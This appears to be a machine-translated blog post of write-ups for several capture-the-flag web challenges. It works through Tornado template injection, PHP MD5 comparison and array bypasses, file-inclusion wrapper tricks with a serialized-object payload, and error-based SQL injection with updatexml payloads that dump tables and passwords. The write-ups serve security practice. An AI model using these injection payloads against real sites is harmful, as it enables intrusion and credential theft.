Here just use hackbar to pass parameters

Get flag{1816d336-8ed9-4aa5-a15d-33a2ae5b2377}

[Net Protection Cup 2018] easy_tornado

After opening the question, first find 3 hyperlinks
image-20220729160043504

Click on the three links in turn

/flag.txt
flag in /fllllllllllllag
/welcome.txt
render
/hints.txt
md5(cookie_secret+md5(filename))

and note that,
[External link picture transfer failed, the source site may have an anti-leeching mechanism, it is recommended to save the picture and upload it directly (img-s3JJ5Bnv-1659918773667) (C:\Users\SuZhe\Documents\MD Documents\BUUCTF\image-20220729160142438.png )]

There are parameters filename and filehash in the address, it is speculated that the flag here should be in

In filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(filename)), the hash in filehash is the hash encryption of md5. The value of the variable filename is always an MD5-encrypted string of guessed filehash values ​​for the file to be accessed.
So, where is the cookie_secret? hints hints render. According to the topic easy_tornado, it can be speculated that it is server template injection.
Because render() is a function in tornado, it can generate html templates. It is a rendering function, which is a formula that can output the formula of the front-end page.

Tornado is a web server and web application framework written in Python. Simply put, it is used to generate templates. It is related to Python and templates, so it can be speculated that this may be an ssti injection problem.
Construct payload:

http://e8d1f189-e498-4c03-9b0f-4eef7c6c671c.node3.buuoj.cn/error?msg={
   
   {handler.settings}}

image-20220729160551170

'cookie_secret': '48447459-3bf5-49ef-b4b5-00a61cc9000e'}

After /fllllllllllllag is encrypted by md5: 3bf9f6cf685a6dd8defadabfb41a03a1
 **md5(cookie_secret+md5(/fllllllllllllag))**The result after being encrypted by md5: a9afb8dde5f0f1a4ee32ac955496ff54

payload:

/file?filename=/fllllllllllllag&filehash=a9afb8dde5f0f1a4ee32ac955496ff54

get:
image-20220729161324711

[HCTF 2018]admin

Here is someone who wrote it better, BUUCTF__[HCTF 2018]admin_problem solution
The fourth method that he did not mention in [HCTF 2018]admin three solutions here is a little bit, but it has not been reproduced successfully, you can take a look at the idea .

[BJDCTF2020]Easy MD5

For this question, after we enter the page, we will find that there is only one input box, and the input content will be passed in as the value of password. We have reasons to believe that this is related to sql injection, that is, we want to achieve an effect similar to 1'or eternal truth. But directly entering the master password is of no use. We captured the packet and found some hints select * from 'admin' where password=md5($pass,true)
image-20220730080948508

It means that md5 encryption is performed on the things we input, md5($pass,true) means the string MD5 of 16-bit original binary format for pass, and mysql will parse this string of 16-bit binary into sixteen The base is thus parsed as a hexadecimal encoding. So we need to find a certain string, after 16-bit md5 becomes the hexadecimal form of 'or'.

'or'的十六进制:276f7227
ffifdyop的md5:276f722736c95d99e921722cf9ed621c

After we input, we get a string of commented code that looks like md5 collision weak type comparison,
image-20220730083304098
but we can also use arrays to bypass because md5the wait function cannot handle arrays, causing the function to return Null.
Construct payload: ? a[]=1&b[]=2
we get a piece of code.

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

Payload again: param1[]=1¶m2[]=2
Use hackbar to pass parameters

image-20220730084102428

[ZJCTF 2019] NiZhuanSiWei

This question comes in a piece of code, as follows:

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    
    
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
    
    
        echo "Not now!";
        exit(); 
    }else{
    
    
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    
    
    highlight_file(__FILE__);
}
?>

Here are some things to design for deserialization.
Task 1: Satisfy the if conditional statement
First of all, our first task, we can know that we need to make the value of text "welcome to the zjctf" after observing the following code

insert image description here

So how to do it,?
Bypass method 1: (write the data pseudo-protocol into the file)
construct the payload:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
(d2VsY29tZSB0byB0aGUgempjdGY=is the base64 encoding form of welcome to the zjctf) In order to bypass some possible filtering, we usually need to use base64 encryption.
insert image description here
The above content shows that our if statement has been successfully bypassed. Next, we need to perform
task 2: read the file content of $file
Here we found that there is a preg_match in the source code that performs regular matching, and we need to bypass it.
insert image description here
Bypass method 2: filter pseudo-protocol to read the source code
We also use base64 encoding to get the payload as follows:

?file=php://filter/read=convert.base64-encode/resource=useless.php

Then a piece of code appeared, as follows:

<?php  

class Flag{
    
      //flag.php  
    public $file;  
    public function __tostring(){
    
      
        if(isset($this->file)){
    
      
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

This pile of code is this in the source code source code
, which tells us that this is a useless file. Our key is still in the code behind.
Task 3: Deserialize and pass parameters
We see that the source code will echo a password at the end, right? And the password is serialized, so we should be able to get the flag by serializing file=flag.php as the parameter of password

Bypass method 3: (Deserialization)
Here, use the online php compiler to compile the following code

<?php
class Flag{
    
    
	public $file="flag.php";
}
$a = new Flag();
echo serialize($a);
?>

Get O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} This is the result of deserialization. Therefore,
construct the payload:

?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}

You can get a page, the flag is in the original code of this page
insert image description here

[Geek Challenge 2019] HardSQL

First, let's see what characters he filters, first enter the user name and password casually, and try to capture packets with burpsuite.

image-20220808142759866

Catch a get request packet, we send it to intruder for blasting

image-20220808142845565

Location We only choose the password for the time being

image-20220808142914880

Since the dictionary that comes with burpsuit is not very good, we use sql to inject the commonly used fuzz dictionary (Baidu ha), and the following is filtered.

image-20220808143941268

Then we were pleasantly surprised to find that updatexml was not filtered

image-20220808144042109

Since spaces are filtered, we use parentheses to bypass

explosion database name

admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))#

image-20220808144618748

Burst table name (because = is filtered, so we use like)

admin'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#

image-20220808144638062

burst field value

admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

image-20220808144653708

Explode username and password

admin'or(updatexml(1,concat(0x7e,(select(group_concat(id,'~',username,'~',password))from(H4rDsq1)),0x7e),1))#

image-20220808144741277

We found that only part of the flag broke out, so we used right to check the other side

admin'or(updatexml(1,concat(0x7e,(select(right(password,20))from(H4rDsq1)),0x7e),1))#

image-20220808145007741

From this we can get the final flag by removing the repeated part

[MRCTF2020]Ez_bypass

As soon as this question is entered, the webpage will give you the source code and give you a hint. let's take a look

I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    
    
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
    
    
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
    
    
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
    
    
                 if($passwd==1234567)
                 {
    
    
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
    
    
                     echo "can you think twice??";
                 }
            }
            else{
    
    
                echo 'You can not get it !';
            }

        }
        else{
    
    
            die('only one way to get the flag');
        }
}
    else {
    
    
        echo "You are not a real hacker!";
    }
}
else{
    
    
    die('Please input first');
}
}Please input first

The idea is very clear, involving strong type comparison

Task 1: id and gg strong type comparison

if(isset($_GET['gg'])&&isset($_GET['id']))

Bypass method: md5 collision

?id[]=QNKCDZO&gg[]=240610708

image-20220808152946519

first step is done

Task 2: Bypassing is_numeric and password value setting
Here we obviously need to pass in the value of passwd, and because of the existence of is_numeric, the input cannot be a number, so we input 1234567a here, 1234567a is a string, but when weakly comparing, 1 in front, php will convert it into a number as a whole, and then it can be compared.

is_numeric — checks if the variable is a number or a string of numbers, bool is_numeric ( mixed $var ). Returns TRUE if var
is a number and a string of numbers, otherwise returns FALSE. (usage in PHP)

Note that the parameter passing here is not in the url, but post data in the hackbar. Because in the source code, the first two are get, so parameters can be passed by url, and passwd is post.
image-20220808153452430
So I got the flag

Links to Knowledge Points - Comparison of Strong and Weak Types

The difference between strong type comparison and weak type comparison

强类型:=== 比较值也比较类型
弱类型:==   只比较值

Weak type bypass
1.0e bypass
Weak comparison will treat 0exxxx as scientific notation, no matter what the following value is, any power of 0 is 0,
so we only need to use the following strings (md5 value starts with 0e) Can bypass detection
QNKCDZO
240610708
s878926199a
s155964671a
s21587387a

2. The array bypasses
the md5() function to calculate the hash value of a string, and returns false for an array
payload:?a[]=1&b[]=2

MD5 strong type bypass
1. Hash collision
Because strong type comparison not only compares values, but also compares types, 0e will be treated as a string, so 0e cannot be used, but
we can use characters with exactly the same MD value to bypass
2. Array bypass
The reason is the same as above
3. MD verification bypass under certain conditions: ffifdyop

Select * from ’admin’ where password=md5($pass,true)

Since the MD5 message will be returned in the original 16-character binary format, and the ffifdyop string is 276f722736c95d99e921722cf9ed621c after being encrypted by MD5, it is
converted into a string of 'or'6...

Select * from 'admin' where password='or'6...
equivalent to a universal password

Guess you like

Origin blog.csdn.net/xuanyulevel6/article/details/126081327